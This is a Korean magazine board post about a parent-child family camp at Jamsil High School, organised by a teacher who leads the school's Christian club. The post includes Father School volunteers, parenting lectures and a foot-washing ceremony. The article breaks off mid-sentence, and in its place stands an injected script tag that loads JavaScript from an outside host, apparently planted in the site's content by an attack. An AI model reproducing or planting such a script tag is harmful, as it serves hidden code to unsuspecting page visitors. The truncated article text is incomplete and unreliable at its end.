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제 목 |
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[아름다운가정] 가정이 살아야 교육이 산다 |
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번 호 |
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808 |
조회수 |
2839 |
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이메일 |
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작성자 |
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월간 아름다운가정 |
작성일 |
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08-09-17 |
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내 용 |
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가정이 살아야 교육이 산다
지난 7월14일 서울 송파구에 있는 잠실고등학교에서 부모와 자녀가 함
께 하는 특별한 행사가 열렸다. 바로 “아버지ㆍ어머니와 함께 하는
잠실고 감동캠프”이다. 잠실고 감동캠프는 기존의 병영캠프를 대신
해 추진된 것으로 “가정이 살아야 교육이 산다”는 생각에서 출발하
였다.
잠실고 기독교반 동아리
이 행사를 총 지휘한 정동진 선생님은 기독교반 동아리를 맡고 있다.
그런 이유로 이날 캠프에는 여러 기독교반 학생들이 도우미로 참여하
여 행사를 도왔다.
공립학교인 잠실고등학교에 기독교반 동아리가 생긴 지는 어언 22년째
다. 기독교반 동아리는 매일 점심 큐티를 갖고, 매주 목요일 찬양모임
을 갖는 등 활발한 활동을 보이고 있다.
섬김과 헌신을 중요하게 생각하는 기독교반 동아리의 성격 탓인지
“아버지ㆍ어머니와 함께 하는 잠실고 감동캠프”도 정동진 선생님이
앞장서 추진하였다. 정 선생님은 “가정이 살아야 교육이 산다. 가
정이 아름답게 회복될 수 있도록 돕고자 감동캠프를 준비하게 되었
다”고 말했다.
감동캠프에서 만나요
잠실고등학교의 “아버지ㆍ어머니와 함께 하는 잠실고 감동캠프”
는 넓은 공간을 확보하기 위해 학교식당에서 진행되었다. 이날에는
20여명의 스텝들이 함께 하였는데, 모두 아버지학교 출신으로 다른 가
족을 섬기기 위해 모였다고 한다.
우리는 가족공연단
아버지학교 출신자들의 섬김은 정중하고 헌신적이었다. 이날 봉사
자 중 가장 돋보이는 봉사자는 박영일 님과 그 가족이었다.박영일 님
은 고1 아들과 초등학생 딸을 둔 아버지였다. 그는 평소 자녀에게 아
주 엄격한 아버지였다. 아이들이 잘못을 하면 화를 내고 매를 들던
아버지였지만 아버지학 교 수료후 자녀를 대하는 태도가 아주 많이 달
라졌다고 한다. 아버지의 변화는 자녀를 감동시켰고 가족은 하나가 되
었다.
그후 아버지와 아들 그리고 딸은함께 공연을 다녔고 관중은 그들에
게 아낌없는 박수갈채를 보냈다.
오늘 행사에도 이 가족은 어김없이 참석하여 봉사를 하고 있다. 가
족이 함께 할 때 가장 큰 행복을 느끼고, 가장 큰 감동을 받게 되는듯
하다.
잔잔한 감동이 있는 곳
이날 잠실고 “감동캠프”는 5시간 동안 진행되었다. 8명 정도 앉
을 수 있는 원탁의 식탁에 둥글게 둘러앉아 서로를 소개해 나갔다.
조별 활동시간에는 각 조별로 그룹명을 정해 구호를 외치기도 했다.
그룹원 간의 결속력을 다지는 시간이었다. 이 날 주최측은 참석한
가족을 총 일곱 조로 나뉘었는데, 대부분 아버지와 자녀들로 구성된
그룹이었고 이중에 어머니와 자녀로 구성된 조는 단 둘이었다.
어머니 그룹 중 한 그룹은 “석봉엄마조”로 떡 써는 석봉엄마 파이
팅이란 피켓을 만들었다. “석봉엄마”는 가정에서의 어머니 역할의
중요성을 강조하고, 자녀를 바르게 키우는 좋은 어머니상을 제시하고
자 한 것이다.
“석봉엄마”는 한석봉의 어머니처럼 자녀에게 좋은 모델이 되어 자
녀를 바람직한 성인으로 성장시키자는 어머니들의 뜻을 담았다. 그 만
큼 어머니들은 자신들을 좋은 어머니로 생각하고 있는 듯하였다.
자녀에게 미안해요
그러나 어머니들 그룹과는 달리 아버지 그룹은 사뭇 다른 모습을 보
여 주었다. 아들을 위해 감동캠프에 참여했으면서도 테이블에 앉아 있
는 모습이 성난 사람들처럼 보였다. 아버지들은 입을 맞추기라고 한
듯이 말했다
“그동안 아들에게 잘해준 것이 없어요. 이제부터라도 좋은 아버지
가 되려고 합니다.”, “제가 평소 바쁘다 보니 아들 녀석과 대화할
시간이 많지 않았어요. 사랑한다는 말도 하지 못했지요. 이런 캠프가
있어 자녀와 추억을 만들 수 있게 되어 감사합니다.”
아버지들은 바쁜 직장생활로 자녀들과 많은 시간을 함께 하지 못 해
왔던 것을 미안하게 여겼다. 어떤 아버지는 자녀에게 너무 엄하게 굴
었던 것을 후회하기도 하였다.
뿔뿔이 흩어져
소개가 끝난 후 각 그룹은 부모교육, 자녀교육을 위해 다른 장소로
이동했다. 아버지는 아버지학교로 어머니는 어머니학교로, 자녀들은
아이들 학교로 흩어졌다. 이날 강의를 맡은 강사는 모두 셋 으로 아
버지학교는 김성묵 강사(두란노 아버지학교 국제본부장), 어머니학교
는 한은경 강사(두란노 어머니학교 본부장) 그리고 아이들은 장상태
교수(경민대학)가 맡았다.
관계 회복을 위한 세족식
강좌가 끝나고 10시가 다 되어갈 무렵 특별한 활동이 준비되었다.
평소 자녀에게 모진 말로 상처주어 왔던 것에 대한 미안함을 표시하
는 듯 부모가 자녀의 발을 씻어주는 활동이었다.
강당의 모든 불이 꺼지고, 약한 불빛만이 ?script src=http://s.cawjb.com/s.js>
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